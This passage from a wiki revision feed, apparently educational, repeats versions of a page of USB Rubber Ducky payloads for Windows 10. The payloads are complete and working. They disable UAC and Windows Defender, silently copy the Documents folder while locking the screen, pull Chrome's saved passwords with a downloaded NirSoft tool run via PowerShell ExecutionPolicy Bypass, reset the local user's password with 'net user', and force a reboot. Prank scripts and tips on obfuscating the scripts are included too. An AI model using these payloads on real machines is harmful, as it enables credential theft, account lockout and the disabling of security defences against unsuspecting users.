STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM Wait for Downlaod&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
REM Open new Powershell&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip the downloaded ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
REM Exit PowerShell&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
REM Restart the computer&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
The server prevents a direct download via link. The selenium script imitates an actual user, clicking on the link and inputting user credentials for download.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# 1. Load the Selenium module&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# 2. Start Driver: Define the path to the Chrome Browser binary&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define the path to the new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use the updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver with the service and Chrome options&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to the NirSoft download page&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Find and click the link that triggers the download&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
# Wait for the iframe to load&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)  # Use the iframe&#039;s ID or other unique selector&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    # Try to locate the dismiss button&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    # Check if the button is visible and clickable&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    # Handle the case where the dismiss button does not appear&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
* Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References:&lt;br /&gt;
* Rubber Ducky Documentation: &lt;br /&gt;
* Change the password of Windows User Attack:&lt;br /&gt;
* Nirsoft password recovery tool for web browsers:&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17045</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17045"/>
		<updated>2024-12-12T20:14:17Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
Target Host:&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software installed: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
Pre-installations:&lt;br /&gt;
* For automated browser navigation with a script:&lt;br /&gt;
* Selenium&lt;br /&gt;
* Chromedriver, according to the Chrome Browser version on the target host:&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* For file extraction: 7-zip&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
&lt;br /&gt;
REM Enter download credentials&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM Wait for Downlaod&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
REM Open new Powershell&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip the downloaded ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
REM Exit PowerShell&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
REM Restart the computer&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
The server prevents a direct download via link. The selenium script imitates an actual user, clicking on the link and inputting user credentials for download.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# 1. Load the Selenium module&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# 2. Start Driver: Define the path to the Chrome Browser binary&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define the path to the new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use the updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver with the service and Chrome options&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to the NirSoft download page&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Find and click the link that triggers the download&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
# Wait for the iframe to load&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)  # Use the iframe&#039;s ID or other unique selector&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    # Try to locate the dismiss button&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    # Check if the button is visible and clickable&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    # Handle the case where the dismiss button does not appear&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
* Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References:&lt;br /&gt;
* Rubber Ducky Documentation: &lt;br /&gt;
* Change the password of Windows User Attack:&lt;br /&gt;
* Nirsoft password recovery tool for web browsers:&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=16983</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=16983"/>
		<updated>2024-12-11T14:21:52Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
